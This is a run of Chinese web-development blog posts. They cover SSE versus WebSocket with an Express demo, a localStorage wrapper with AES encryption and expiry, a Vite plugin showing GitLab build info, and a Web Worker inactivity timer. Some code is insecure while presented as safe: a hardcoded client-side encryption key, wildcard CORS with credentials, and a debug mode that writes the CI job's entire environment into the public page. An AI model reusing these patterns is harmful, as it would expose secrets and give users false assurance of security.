  • WebSocket

  • SSE

  • 长轮询


轮询简介


长轮询是一种模拟实时通信的技术。在传统的Http请求中,客户端向服务端发送请求,并且在完成请求后立即响应,然后连接关闭。这意味着客户端需要不停的发送请求来更新数据。


相比之下,长轮询的思想是客户端发送一个Http到服务端,服务端不立即返回响应。相反,服务端会保持该请求打开,直到有新的数据可用或超时。如果有新的数据可用,服务端会立即返回响应,并关闭连接。此时,客户端会重新发起一个新的请求,继续等待新的数据。


使用长轮询的优势在于,它在大部分的浏览器中有更好的兼容性,因为它使用的是Http协议。缺点就是较高的延迟性、较大的资源消耗、以及大量并发操作可能导致服务端资源的瓶颈和一些浏览器对并发请求数目进行了限制比如chorme最大并发数目为6,这个限制前提是针对同一个域名下,超过这一限制后续请求就会堵塞。


websocket简介


websocket是一个双向通信的协议,它支持客户端和服务端彼此之间进行通信。功能强大。
缺点就是是一个新的协议,ws/wss,也就是说支持http协议的不一定支持ws协议。相比较websocket结构复杂并且比较重。


SSE简介


sse是一个单向通讯的协议也是一个长链接,它只能支持服务端主动向客户端推送数据,但是无法让客户端向服务端推送消息。


SSE的优点是,它是一个轻量级的协议,相对于websockte来说,他的复杂度就没有那么高,相对于客户端的消耗也比较少。而且_SSE使用的是http协议_(websocket使用的是ws协议),也就是现有的服务端都支持SSE,无需像websocket一样需要服务端提供额外的支持。


websocket和SSE有什么区别?


轮询


对于当前计算机的发展来说,几乎很少出现同时不支持websocket和sse的情况,所以轮询是在极端情况下浏览器实在是不支持websocket和see的下策。


Websocket和SSE


我们一般的服务端和客户端的通讯基本上使用这两个方案。首先声明:这两个方案没有绝对的好坏,只有在不同的业务场景下更好的选择。


SSE的官方对于SSE和Websocket的评价是



  1. WebSocket是全双工通道,可以双向通信,功能更强;SSE是单向通道,只能服务器向浏览器端发送。

  2. WebSocket是一个新的协议,需要服务器端支持;SSE则是部署在HTTP协议之上的,现有的服务器软件都支持。

  3. SSE是一个轻量级协议,相对简单;WebSocket是一种较重的协议,相对复杂。

  4. SSE默认支持断线重连,WebSocket则需要额外部署。

  5. SSE支持自定义发送的数据类型。


Websocket和SSE分别适用于什么业务场景?


对于SSE来说,它的优点就是轻,而且对于服务端的支持度要更好。换言之,可以使用SSE完成的功能需求,没有必要使用更重更复杂的websocket。


比如:数据大屏的实时数据,消息中心的消息推送等一系列只需要服务端单方面推送而不需要客户端同时进行反馈的需求,SSE就是不二之选。


对于Websocket来说,他的优点就是可以同时支持客户端和服务端的双向通讯_。所适用的业务场景:最典型的就是聊天功能。这种服务端需要主动向客户端推送信息,并且客户端也有向服务端推送消息的需求时,Websocket就是更好的选择。


SSE有哪些主要的API?


建立一个SSE链接 :var source = new EventSource(url);


SSE连接状态


source.readyState



  • 0,相当于常量EventSource.CONNECTING,表示连接还未建立,或者连接断线。

  • 1,相当于常量EventSource.OPEN,表示连接已经建立,可以接受数据。

  • 2,相当于常量EventSource.CLOSED,表示连接已断,且不会重连。


SSE相关事件



  • open事件(连接一旦建立,就会触发open事件,可以定义相应的回调函数)

  • message事件(收到数据就会触发message事件)

  • error事件(如果发生通信错误(比如连接中断),就会触发error事件)


数据格式


Content-Type: text/event-stream //文本返回格式  
Cache-Control: no-cache  //不要缓存
Connection: keep-alive //长链接标识

如何实操一个SSE链接?Demo↓


这里Demo前端使用的就是最基本的html静态页面连接,没有使用任何框架。后端选用语言是node,框架是Express。


理论上,把这两段端代码复制过去跑起来就直接可以用了。



  1. 第一步,建立一个index.html文件,然后复制前端代码Demo到index.html文件中,打开文件

  2. 第二步,进入一个新的文件夹,建立一个index.js文件,然后将后端Demo代码复制进去,然后在该文件夹下执行


npm init          //初始化npm         
npm i express     //下载node express框架
node index        //启动服务

上面三行之中,第一行的Content-Type必须指定 MIME 类型为event-steam
每一次发送的信息,由若干个message组成,每个message之间用\n\n分隔。每个message内部由若干行组成,每一行都是如下格式。


[field]: value\n

上面的field可以取四个值。


-   data
- event
- id
- retry

此外,还可以有冒号开头的行,表示注释。通常,服务器每隔一段时间就会向浏览器发送一个注释,保持连接不中断。


: This is a comment

data 字段


数据内容用data字段表示


data:  message\n\n

如果数据很长,可以分成多行,最后一行用\n\n结尾,前面行都用\n结尾。


data: begin message\n
data: continue message\n\n

下面是一个发送 JSON 数据的例子。


data: {\n
data: "foo": "bar",\n
data: "baz", 555\n
data: }\n\n

id 字段


数据标识符用id字段表示,相当于每一条数据的编号。


id: msg1\n
data: message\n\n

浏览器用lastEventId属性读取这个值。一旦连接断线,浏览器会发送一个 HTTP 头,里面包含一个特殊的Last-Event-ID头信息,将这个值发送回来,用来帮助服务器端重建连接。因此,这个头信息可以被视为一种同步机制。


event 字段


event字段表示自定义的事件类型,默认是message事件。浏览器可以用addEventListener()监听该事件。




event: foo\n
data: a foo event\n\n

data: an unnamed event\n\n

event: bar\n
data: a bar event\n\n


retry 字段


服务器可以用retry字段,指定浏览器重新发起连接的时间间隔。




retry: 10000\n


两种情况会导致浏览器重新发起连接:一种是时间间隔到期,二是由于网络错误等原因,导致连接出错。


上面的代码创造了三条信息。第一条的名字是foo,触发浏览器的foo事件;第二条未取名,表示默认类型,触发浏览器的message事件;第三条是bar,触发浏览器的bar事件。


image.png
前端代码


<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8" />
<meta http-equiv="X-UA-Compatible" content="IE=edge" />
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<title>Document</title>
</head>
<body>
<ul id="ul"></ul>
</body>
<script>
//生成li元素
function createLi(data) {
let li = document.createElement("li");
li.innerHTML = String(data.message);
return li;
}

//判断当前浏览器是否支持SSE
let source = "";
if (!!window.EventSource) {
source = new EventSource("http://localhost:8088/sse/");
} else {
throw new Error("当前浏览器不支持SSE");
}

//对于建立链接的监听
source.onopen = function (event) {
console.log(source.readyState);
console.log("长连接打开");
};

//对服务端消息的监听
source.onmessage = function (event) {
console.log(JSON.parse(event.data));
console.log("收到长连接信息");
let li = createLi(JSON.parse(event.data));
document.getElementById("ul").appendChild(li);
};

//对断开链接的监听
source.onerror = function (event) {
console.log(source.readyState);
console.log("长连接中断");
};
</script>
</html>



后端代码


const express = require("express"); //引用框架
const app = express(); //创建服务
const port = 8088; //项目启动端口

//设置跨域访问
app.all("*", function (req, res, next) {
//设置允许跨域的域名,*代表允许任意域名跨域
res.header("Access-Control-Allow-Origin", "*");
//允许的header类型
res.header(
"Access-Control-Allow-Headers",
"Content-Type, Authorization, X-Requested-With"
);
//跨域允许的请求方式
res.header("Access-Control-Allow-Methods", "PUT,POST,GET,DELETE,OPTIONS");
// 可以带cookies
res.header("Access-Control-Allow-Credentials", true);
if (req.method == "OPTIONS") {
res.sendStatus(200);
} else {
next();
}
});

app.get("/sse", (req, res) => {
res.set({
"Content-Type": "text/event-stream", //设定数据类型
"Cache-Control": "no-cache", // 长链接拒绝缓存
Connection: "keep-alive", //设置长链接
});

console.log("进入到长连接了");
//持续返回数据
setInterval(() => {
console.log("正在持续返回数据中ing");
const data = {
message: `Current time is ${new Date().toLocaleTimeString()}`,
};
res.write(`data: ${JSON.stringify(data)}\n\n`);
}, 1000);
});

//创建项目
app.listen(port, () => {
console.log(`项目启动成功-http://localhost:${port}`);
});


20240229103040.gif


参考文章:http://www.ruanyifeng.com/blog/2017/0…


作者:917号先生
来源:juejin.cn/post/7340621143009067027
收起阅读 »

还在直接用localStorage么?全网最细:本地存储二次封装(含加密、解密、过期处理)

web
背景 很多人在用 localStorage 或 sessionStorage 的时候喜欢直接用,明文存储,直接将信息暴露在;浏览器中,虽然一般场景下都能应付得了且简单粗暴,但特殊需求情况下,比如设置定时功能,就不能实现。就需要对其进行二次封装,为了在使用上增加...
继续阅读 »



背景


很多人在用 localStoragesessionStorage 的时候喜欢直接用,明文存储,直接将信息暴露在;浏览器中,虽然一般场景下都能应付得了且简单粗暴,但特殊需求情况下,比如设置定时功能,就不能实现。就需要对其进行二次封装,为了在使用上增加些安全感,那加密也必然是少不了的了。为方便项目使用,特对常规操作进行封装。


结构设计


在封装一系列操作本地存储的API之前,先准备了一个全局对象,对具体的操作进行判断,如下:


interface globalConfig {
type: 'localStorage' | 'sessionStorage';
prefix: string;
expire: number;
isEncrypt: boolean;
}

const config: globalConfig = {
type: 'localStorage', //存储类型,localStorage | sessionStorage
prefix: 'react-view-ui_0.0.1', //版本号
expire: 24 * 60, //过期时间,默认为一天,单位为分钟
isEncrypt: true, //支持加密、解密数据处理
};


  1. type 表示存储类型,为 localStoragesessionStorage

  2. prefix 表示视图唯一标识,如果配置可在浏览器视图中放在前缀显示;

  3. expire 表示过期时间,默认为一天,单位为分钟;

  4. isEncrypt 表示支持加密、解密数据处理;


加密准备工作


这里是用到了 crypto-js 来处理加密和解密,可先下载包并导入。


npm i --save-dev crypto-js

import CryptoJS from 'crypto-js';

crypto-js 设置密钥和密钥偏移量,可以采用将一个私钥经 MD5 加密生成16位密钥获得。


const SECRET_KEY = CryptoJS.enc.Utf8.parse('3333e6e143439161'); //十六位十六进制数作为密钥
const SECRET_IV = CryptoJS.enc.Utf8.parse('e3bbe7e3ba84431a'); //十六位十六进制数作为密钥偏移量

加密


const encrypt = (data: object | string): string => {
//加密
if (typeof data === 'object') {
try {
data = JSON.stringify(data);
} catch (e) {
throw new Error('encrypt error' + e);
}
}
const dataHex = CryptoJS.enc.Utf8.parse(data);
const encrypted = CryptoJS.AES.encrypt(dataHex, SECRET_KEY, {
iv: SECRET_IV,
mode: CryptoJS.mode.CBC,
padding: CryptoJS.pad.Pkcs7,
});
return encrypted.ciphertext.toString();
};

解密


const decrypt = (data: string) => {
//解密
const encryptedHexStr = CryptoJS.enc.Hex.parse(data);
const str = CryptoJS.enc.Base64.stringify(encryptedHexStr);
const decrypt = CryptoJS.AES.decrypt(str, SECRET_KEY, {
iv: SECRET_IV,
mode: CryptoJS.mode.CBC,
padding: CryptoJS.pad.Pkcs7,
});
const decryptedStr = decrypt.toString(CryptoJS.enc.Utf8);
return decryptedStr.toString();
};

这两个API都是将获取到的本地存储的value作为参数进行传递,这样就实现了加密和解密。


在传入数据进行处理、改变的时候需要进行解密;
在数据需要传出时需要进行加密。


核心API实现


setStorage 设置值


Storage 本身是不支持过期时间设置的,要支持设置过期时间,可以效仿 Cookie 的做法,setStorage(key, value, expire) 方法,接收三个参数,第三个参数就是设置过期时间的,用相对时间,单位分钟,要对所传参数进行类型检查。可以设置统一的过期时间,也可以对单个值得过期时间进行单独配置。


const setStorage = (key: string, value: any, expire: number = 24 * 60): boolean => {
//设定值
if (value === '' || value === null || value === undefined) {
//空值重置
value = null;
}
if (isNaN(expire) || expire < 0) {
//过期时间值合理性判断
throw new Error('Expire must be a number');
}
const data = {
value, //存储值
time: Date.now(), //存储日期
expire: Date.now() + 1000 * 60 * expire, //过期时间
};
//是否需要加密,判断装载加密数据或原数据
window[config.type].setItem(
autoAddPreFix(key),
config.isEncrypt ? encrypt(JSON.stringify(data)) : JSON.stringify(data),
);
return true;
};

getStorageFromKey 根据key获取value


首先要对 key 是否存在进行判断,防止获取不存在的值而报错。对获取方法进一步扩展,只要在有效期内就可以获取 Storage 值,如果过期则直接删除该值,并返回 null。


const getStorageFromKey = (key: string) => {
//获取指定值
if (config.prefix) {
key = autoAddPreFix(key);
}
if (!window[config.type].getItem(key)) {
//不存在判断
return null;
}
const storageVal = config.isEncrypt
? JSON.parse(decrypt(window[config.type].getItem(key) as string))
: JSON.parse(window[config.type].getItem(key) as string);
const now = Date.now();
if (now >= storageVal.expire) {
//过期销毁
removeStorageFromKey(key);
return null;
//不过期回值
} else {
return storageVal.value;
}
};

getAllStorage 获取所有存储值


const getAllStorage = () => {
//获取所有值
const storageList: any = {};
const keys = Object.keys(window[config.type]);
keys.forEach((key) => {
const value = getStorageFromKey(key);
if (value !== null) {
//如果值没有过期,加入到列表中
storageList[key] = value;
}
});
return storageList;
};

getStorageLength 获取存储值数量


const getStorageLength = () => {
//获取值列表长度
return window[config.type].length;
};

removeStorageFromKey 根据key删除存储值


const removeStorageFromKey = (key: string) => {
//删除值
if (config.prefix) {
key = autoAddPreFix(key);
}
window[config.type].removeItem(key);
};

clearStorage 清空存储列表


const clearStorage = () => {
window[config.type].clear();
};

autoAddPreFix 基于全局配置的prefix参数添加前缀


const autoAddPreFix = (key: string) => {
//添加前缀,保持浏览器Application视图唯一性
const prefix = config.prefix || '';
return `${prefix}_${key}`;
};

这是一个不导出的函数,作为整体封装的内部工具函数,在setStorage、getStorageFromKey、removeStorageFromKey会使用到。


导出函数列表


提供了6个函数的处理能力,足够应对实际业务的大部分操作。


export {
setStorage,
getStorageFromKey,
getAllStorage,
getStorageLength,
removeStorageFromKey,
clearStorage,
};

使用


在实际业务中使用,则将函数导入即可,这里先看下笔者的文件目录吧:
在这里插入图片描述
实际使用:


import {
setStorage,
getStorageFromKey,
getAllStorage,
getStorageLength,
removeStorageFromKey,
clearStorage
} from '../../_util/storage/config'

setStorage('name', 'fx', 1)
setStorage('age', { now: 18 }, 100000)
setStorage('history', [1, 2, 3], 100000)
console.log(getStorageFromKey('name'))
removeStorageFromKey('name')
console.log(getStorageFromKey('name'))
console.log(getStorageLength());
console.log(getAllStorage());
clearStorage();

接下来看一下浏览器视图:


在这里插入图片描述


可以看到,key经过处理加入了config.prefix的前缀,有了唯一性。
value经过了加密处理。


再看一下通过get方式获取到的控制台值输出:


在这里插入图片描述


很完美,实际业务会把前缀清除返回进行处理,视图中有前缀绑定以及加密处理,保证了本地存储的安全性。


完整代码


config.ts:


import { encrypt, decrypt } from './encry';
import { globalConfig } from './interface';

const config: globalConfig = {
type: 'localStorage', //存储类型,localStorage | sessionStorage
prefix: 'react-view-ui_0.0.1', //版本号
expire: 24 * 60, //过期时间,默认为一天,单位为分钟
isEncrypt: true, //支持加密、解密数据处理
};

const setStorage = (key: string, value: any, expire: number = 24 * 60): boolean => {
//设定值
if (value === '' || value === null || value === undefined) {
//空值重置
value = null;
}
if (isNaN(expire) || expire < 0) {
//过期时间值合理性判断
throw new Error('Expire must be a number');
}
const data = {
value, //存储值
time: Date.now(), //存储日期
expire: Date.now() + 1000 * 60 * expire, //过期时间
};
//是否需要加密,判断装载加密数据或原数据
window[config.type].setItem(
autoAddPreFix(key),
config.isEncrypt ? encrypt(JSON.stringify(data)) : JSON.stringify(data),
);
return true;
};

const getStorageFromKey = (key: string) => {
//获取指定值
if (config.prefix) {
key = autoAddPreFix(key);
}
if (!window[config.type].getItem(key)) {
//不存在判断
return null;
}

const storageVal = config.isEncrypt
? JSON.parse(decrypt(window[config.type].getItem(key) as string))
: JSON.parse(window[config.type].getItem(key) as string);
const now = Date.now();
if (now >= storageVal.expire) {
//过期销毁
removeStorageFromKey(key);
return null;
//不过期回值
} else {
return storageVal.value;
}
};
const getAllStorage = () => {
//获取所有值
const storageList: any = {};
const keys = Object.keys(window[config.type]);
keys.forEach((key) => {
const value = getStorageFromKey(autoRemovePreFix(key));
if (value !== null) {
//如果值没有过期,加入到列表中
storageList[autoRemovePreFix(key)] = value;
}
});
return storageList;
};
const getStorageLength = () => {
//获取值列表长度
return window[config.type].length;
};
const removeStorageFromKey = (key: string) => {
//删除值
if (config.prefix) {
key = autoAddPreFix(key);
}
window[config.type].removeItem(key);
};
const clearStorage = () => {
window[config.type].clear();
};
const autoAddPreFix = (key: string) => {
//添加前缀,保持唯一性
const prefix = config.prefix || '';
return `${prefix}_${key}`;
};
const autoRemovePreFix = (key: string) => {
//删除前缀,进行增删改查
const lineIndex = config.prefix.length + 1;
return key.substr(lineIndex);
};

export {
setStorage,
getStorageFromKey,
getAllStorage,
getStorageLength,
removeStorageFromKey,
clearStorage,
};


encry.ts:


import CryptoJS from 'crypto-js';

const SECRET_KEY = CryptoJS.enc.Utf8.parse('3333e6e143439161'); //十六位十六进制数作为密钥
const SECRET_IV = CryptoJS.enc.Utf8.parse('e3bbe7e3ba84431a'); //十六位十六进制数作为密钥偏移量

const encrypt = (data: object | string): string => {
//加密
if (typeof data === 'object') {
try {
data = JSON.stringify(data);
} catch (e) {
throw new Error('encrypt error' + e);
}
}
const dataHex = CryptoJS.enc.Utf8.parse(data);
const encrypted = CryptoJS.AES.encrypt(dataHex, SECRET_KEY, {
iv: SECRET_IV,
mode: CryptoJS.mode.CBC,
padding: CryptoJS.pad.Pkcs7,
});
return encrypted.ciphertext.toString();
};

const decrypt = (data: string) => {
//解密
const encryptedHexStr = CryptoJS.enc.Hex.parse(data);
const str = CryptoJS.enc.Base64.stringify(encryptedHexStr);
const decrypt = CryptoJS.AES.decrypt(str, SECRET_KEY, {
iv: SECRET_IV,
mode: CryptoJS.mode.CBC,
padding: CryptoJS.pad.Pkcs7,
});
const decryptedStr = decrypt.toString(CryptoJS.enc.Utf8);
return decryptedStr.toString();
};

export { encrypt, decrypt };


interface.ts:


interface globalConfig {
type: 'localStorage' | 'sessionStorage';
prefix: string;
expire: number;
isEncrypt: boolean;
}

export type { globalConfig };


总结


前端开发中直接使用明文存储在本地是比较常见的一件事情同时也是不安全的一件事,对本地存储进行二次封装可以提高安全性,并且有了API的支持,可以在本地存储操作时更加简单。


作者:sorryhc
来源:juejin.cn/post/7237441562664681529
收起阅读 »

为了不和测试扯皮, 我抄了这个vite插件

web
前言 这算是我的第二个vite插件了,第一个是腾讯云OSS上传,思路以及部份代码借鉴了浏览器API调用工程师的项目,在此基础上完善和增加配置项。 如果文章对你有帮助的话,记得一键三连哟。有问题和疑惑的话也可以在评论区留言。我会第一时间回复大家,如果觉得我的文章...
继续阅读 »

前言


这算是我的第二个vite插件了,第一个是腾讯云OSS上传,思路以及部份代码借鉴了浏览器API调用工程师的项目,在此基础上完善和增加配置项。


如果文章对你有帮助的话,记得一键三连哟。有问题和疑惑的话也可以在评论区留言。我会第一时间回复大家,如果觉得我的文章哪里有知识点错误的话,也恳请能够告知,把错的东西理解成对的,无论在什么行业,都是致命的。


背景


项目环境比较多,经常漏发错发版本,导致测试和开发间的扯皮比较多。于是,这个插件便截天地气运而生🤪🤪🤪。


功能特性


目的: 在控制台显示当前运行代码的构建人、构建时间、分支、最新的COMMIT信息等, 方便确认是否漏发错发版本。

注意: 只在GitLab流水线有用


效果预览


可以在控制台查看代码的部署信息



安装


pnpm i -D vite-plugin-gitlab-flow

或者


yarn add -D vite-plugin-gitlab-flow

或者


npm i -D vite-plugin-gitlab-flow

基本使用


vite.config.js/ts中配置


import vitePluginGitLabFlow from "vite-plugin-gitlab-flow";

plugins: [
vitePluginGitLabFlow({
projectName: '榕树工具',
debug: true,
extra: [
{
keys: 'VITE_APP_TITLE',
label: '项目title'
}
],
styles:{
color: 'red'
}
}),
]

配置项


optionsdescriptiontypedefault
projectName?项目名称,默认取package.json里的name字段。stringpackage.name
debug?debug模式booleanfalse
extra?额外需要显示的字段,需要是env里面有的字段,可开启debug模式查看string[]
styles?自定义样式Style{}

实现原理


import type { Plugin, HtmlTagDescriptor } from 'vite';
import dayjs from 'dayjs';
import fs from 'fs';
import {Properties,PropertiesHyphen} from 'csstype';
interface Style extends Properties, PropertiesHyphen {}
export const defaultStyle:Style = {
color: 'white',
background: 'green',
'font-size': '16px',
border: '1px solid #fff',
'text-shadow': '1px 1px black',
padding: '2px 5px',
}

interface GitLabFlowOptions {
projectName?: string,
debug?:boolean,
extra?:{
label:string
keys:string,
}[],
styles?:Style
}
export default function gitLabFlow(options: GitLabFlowOptions={}): Plugin {
let {debug=false,extra=[],styles=defaultStyle}=options
let styleOption=''
for (const styleOptionKey in styles) {
styleOption+=`${styleOptionKey}:${styles[styleOptionKey]};`
}
const env = process.env;

const pkg:any = JSON.parse(fs.readFileSync(process.cwd() + '/package.json', 'utf-8'));

let packageInfo: any = JSON.parse(fs.readFileSync(process.cwd() + '/node_modules/vite-plugin-gitlab-flow/package.json', 'utf-8'))

const appInfo = {
projectName: options.projectName || pkg.name,
name:pkg.name,
version:pkg.version,
lastBuildTime: dayjs().format('YYYY-MM-DD HH:mm:ss'),
};

let extStr=`
console.log("%c插件名称:
${packageInfo.name} 当前版本: V${packageInfo.version}","${styleOption}" );
console.log("%c插件作者:
${packageInfo.author} 仓库地址: ${packageInfo.homepage}","${styleOption}");
console.log("%c项目名称:
${appInfo.projectName}", "${styleOption}");
console.log("%c打包时间:
${appInfo.lastBuildTime}","${styleOption}");
console.log("%c流水线执行人:
${env.GITLAB_USER_NAME || '-'}", "${styleOption}");
console.log("%c标签:
${env.CI_COMMIT_REF_NAME || '-'}", "${styleOption}");
console.log("%cCOMMIT信息:
${env.CI_COMMIT_TITLE || '-'} ${env.CI_COMMIT_SHA || '-'}", "${styleOption}");
`


// 新增自定义字段
extra.forEach(({label,keys})=>{
extStr+=`console.log("%c${label}: ${env?.[keys] || '-'}","${styleOption}");`
})

// debugger模式
if (debug){
extStr+=`console.log('appInfo', ${JSON.stringify(appInfo)});`
extStr+=`console.log('packageInfo', ${JSON.stringify(packageInfo)});`
extStr+=`console.log('env', ${JSON.stringify(env)});`
}

return {
name: 'vite-plugin-gitlab-flow',
apply: 'build',
transformIndexHtml(html): HtmlTagDescriptor[] {
return [
{
tag: 'script',
attrs: { defer: true },
children: extStr,
injectTo: 'body'
},
]
}
};
}

引用



作者:小猪努力学前端
来源:juejin.cn/post/7211428447921422396
收起阅读 »

实战(简单):20分钟页面不操作,页面失效

web
如果没有时间想直接解决问题,看最下面的最终代码即可 场景需求 总结: 20分钟内如果不操作,页面就是提示失效并且回到列表页面,如果操作了,计时就会清零。 如果 A 在编辑,B 点击编辑会提示正在编辑。A 在编辑期间,每分钟会向后端发送续租(即正在编辑...
继续阅读 »

如果没有时间想直接解决问题,看最下面的最终代码即可



场景需求


image.png

总结:




  1. 20分钟内如果不操作,页面就是提示失效并且回到列表页面,如果操作了,计时就会清零。

  2. 如果 A 在编辑,B 点击编辑会提示正在编辑。A 在编辑期间,每分钟会向后端发送续租(即正在编辑)的请求,后端收到请求后,会在服务端帮你保留这一分钟的编辑状态,别人就无法在编辑了。并且别人编辑时,后端会返回相应的信息。



前言


乐了,产品提出了需求,然后我去找导师问问团队中有没有现成的解决方案。。。没有,然后导师提出了 web worker 的思路,让我自己思考解决方案。好吧,那就开始吧。


一开始,我想着能否能用 setInterval 来进行定时的,结果后端发来消息


image.png

emm......后端大佬,惹不起~


如图上所说,如果切换了页面,setInterval 会停止计时的(咱就说不信的可以试试),也就是说这个线程被停止了。


那么就需要新建一个线程,也就是 web worker 了,用它单纯来进行计时,不用管其他逻辑,切换页面也不会终止。


正文思路


基本demo


首先,百度了下 web worker 的基本实现案例,一文彻底学会使用web worker


需要该需求的页面


// editEmail.vue(主线程)
<template>
<div>编辑页面哦</div>
</template>

<script>
const myWorker = new Worker('/worker.js'); // 创建worker,函数里的值为 webWorker 文件名

// 向 worker.js 线程发送消息,对应 worker.js 线程中的 e.data
myWorker.postMessage('Greeting from Main.js');

myWorker.addEventListener('message', e => { // 从 worker.js 那接收消息
console.log(e.data); // Greeting from Worker.js,worker线程发送的消息
});

</script>


放入 public 文件下 worker.js


// worker.js(worker线程)
self.addEventListener('message', e => { // 接收到消息
console.log(e.data); // Greeting from Main.js,主线程发送的消息
self.postMessage('Greeting from Worker.js'); // 向主线程发送消息
});

其中,worker.js 的存放路径和 new Worker()里的值有关,比如此时我是在本地资源的根路径创建的 /worker.js ,那么就是放在public下的。


而如果是 ./worker.js,或者 ../worker.js,这是无法找到的,因为此时的 worker.js 已经被打包编译成了 app.js。



注意,public 文件的变动需要重启项目,和 vue.config.js一样



image.png
worker.js 和 主线程通信走通后,开始分析需求了。


1. 每分钟续租一次 =》 1秒钟续租一次


什么叫续租,每分钟你向服务端发送一个续租请求,后端就会帮你保持正在编辑的状态(假设为 edit: true),而且后端其实也在计时一分钟。在这一分钟内,由于 edit 为 true,如果别人想要编辑,就会拒绝别人的编辑。如果你一分钟后没发送这个续租请求,后端会把 true 改成 false,这时别人想要编辑,后端就会接受别人的编辑了。


因此,前端就需要每隔一分钟发送一次续租请求,来维持此时的编辑状态。


当然,由于产品要求的更复杂,你发送续租请求的时候请求头往往会携带用户信息,来反馈谁在进行编辑以提高用户体验感。


下述代码为了更好的测试,把每分钟续租变为了每秒续租一次


2. 20分钟期间不操作就会提示页面失效 =》 10秒钟一到就会触发提示事件


当然,就算 setInterval 不能作为解决方案,但还是需要用它来做定时器的,这还是挺香的。


// worker.js(worker线程)
self.addEventListener('message', e => { // 接收到消息
console.log(e.data); // Greeting from Main.js,主线程发送的消息
setInterval(() => {
self.postMessage('Greeting from Worker.js'); // 向主线程发送消息
}, 1 * 1000)
});

如上代码,Greeting from Worker.js 这条消息每隔 1 秒钟就会向 editEmail.vue 页面发送,这时就算你切换浏览器标签页也仍然会发送。


好,简单的定时器做完了,那就开始进行计时了。


// worker.js(worker线程)
self.addEventListener('message', e => { // 接收到消息
console.log(e.data); // Greeting from Main.js,主线程发送的消息

let sum = 0;
let msg;

setInterval(() => {
sum += 1;
msg = {
text: 'editing',
sum
}
self.postMessage(msg); // 向主线程发送消息 msg 对象
}, 1 * 1000)
});

每过一秒,worker.js 都会发送一次信息,用来持续触发续租事件,而 sum 则是用来进行计时过了多少秒。


image.png


// editEmail.vue(主线程)
<template>
<div>编辑页面哦</div>
</template>

<script>
const myWorker = new Worker('/worker.js'); // 创建worker,函数里的值为 webWorker 文件名

// 向 worker.js 线程发送消息,对应 worker.js 线程中的 e.data
myWorker.postMessage('start');

myWorker.addEventListener('message', e => { // 从 worker.js 那接收消息,每隔一秒都会接收到
console.log(e.data); // {text: 'editing', sum: sum},worker线程发送的消息
campaignListLock(); // 发起续租请求
if (e.data.sum >= 10) {
message.error("页面失效");
PageGoBack(); // 返回上一页,看产品要求
}
});

</script>


image.png

OK,这样,基本的需求就完成了,10 秒一到就会提示页面失效,并且在这 10 秒内谁都无法进入编辑页面(在进入编辑页面前得先向后端请求看看是否有人在编辑)。


但是,10 秒后呢,这个计时器仍然在进行中,所以我需要在 10 秒过后清除这个计时器了。也就是在 e.data.sum >= 10 这个条件内对 worker 进程进行通信,触发清除事件。


// editEmail.vue(主线程)
<template>
<div>编辑页面哦</div>
<input @change="onChange" />
</template>

<script>
const myWorker = new Worker('/worker.js'); // 创建worker,函数里的值为 webWorker 文件名

// 向 worker.js 线程发送消息,对应 worker.js 线程中的 e.data
myWorker.postMessage('start');

myWorker.addEventListener('message', e => { // 从 worker.js 那接收消息,每隔一秒都会接收到
console.log(e.data); // {text: 'editing', sum: sum},worker线程发送的消息
campaignListLock(); // 发起续租请求
if (e.data.sum >= 10) {
message.error("页面失效");
PageGoBack(); // 返回上一页,看产品要求
myWorker.postMessage('end');
}
});

</script>


在这里我们分别向 worker 进程发送了 startend 两个信息,worker 进程拿到信息后进行判断,如果是 start,那么就开始每秒续租,如果为 end,那么就清除定时器来终止续租(即停止每秒向主线程进行通信来触发续租请求)。


// worker.js(worker线程)
let timer;
self.addEventListener('message', e => { // 接收到消息
console.log(e.data); // Greeting from Main.js,主线程发送的消息

let sum = 0;
let msg;

if (e.data === "start") {
timer = setInterval(() => {
sum += 1;
msg = {
text: '编辑中',
sum
}
self.postMessage(msg); // 向主线程发送消息 msg 对象
}, 1 * 1000)
} else {
clearInterval(timer);
}
});

如上代码,定义一个全局变量 timer 用来存储定时器,以便能够随时清除。


image.png

定时重置



Stop,别冲太猛,这里我们需要总结一下了



开启定时


myWorker.postMessage('start');

就会重新 worker.js 中的 self.addEventListener('message',()=>{}) 函数,sum 重置为 0,计时重新开始计算。


停止定时


myWorker.postMessage('end');

就会触发 worker 中的 clearInterval(timer) 来清除定时器


重置定时


myWorker.postMessage('end');
myWorker.postMessage('start');

先清除定时器停止定时,然后再重新开启定时


最后


// 开启定时
const onTimeStart = () => {
myWorker.postMessage('start');
}
// 停止定时
const onTimeEnd = () => {
myWorker.postMessage('end');
}
// 重置定时
const onTime = () => {
onTimeEnd();
onTimeStart();
}

3. 10 秒内如果进行了表单操作则重置计时


const onChange = () => {
onTime();
}

优化代码


// editEmail.vue(主线程)
<template>
<div>编辑页面哦</div>
<input @change="onChange" />
</template>

<script>
const myWorker = new Worker('/worker.js'); // 创建worker,函数里的值为 webWorker 文件名

// 向 worker.js 线程发送消息,对应 worker.js 线程中的 e.data
myWorker.postMessage('start');

// 开启定时
const onTimeStart = () => {
myWorker.postMessage('start');
}
// 停止定时
const onTimeEnd = () => {
myWorker.postMessage('end');
}
// 重置定时
const onTime = () => {
onTimeEnd();
onTimeStart();
}

myWorker.addEventListener('message', e => { // 从 worker.js 那接收消息,每隔一秒都会接收到
console.log(e.data); // {text: 'editing', sum: sum},worker线程发送的消息
campaignListLock(); // 发起续租请求
if (e.data.sum >= 10) {
message.error("页面失效");
PageGoBack(); // 返回上一页,看产品要求
onTimeEnd(); // 停止计时,终止续租
}
});

const onChange = () => {
onTime();
}

</script>


// worker.js(worker线程)
let timer;
self.addEventListener('message', e => { // 接收到消息
console.log(e.data); // Greeting from Main.js,主线程发送的消息

let sum = 0;
let msg;

if (e.data === "start") {
timer = setInterval(() => {
sum += 1;
msg = {
text: 'editing',
sum
}
self.postMessage(msg); // 向主线程发送消息 msg 对象
}, 1 * 1000)
} else {
clearInterval(timer);
}
});

而到这里,只是实现了单纯的停留在页面,但切换浏览器标签页时,没有做相应的监听事件。虽然有着另一个 worker 线程在运行着,但当你切换页面后过 10s 再返回原页面,提示虽然会有,但是一闪即逝,基本看不到提示信息。


4. 切换浏览器标签页


而监听浏览器标签页的切换事件是 visibilitychangedocument.visibilityStat 属性


document.addEventListener("visibilitychange", function () {
if (document.visibilityState == "visible") {
message.error("页面已失效");
} else if (document.visibilityState == "hidden") {
message.error("页面已隐藏");
}
});

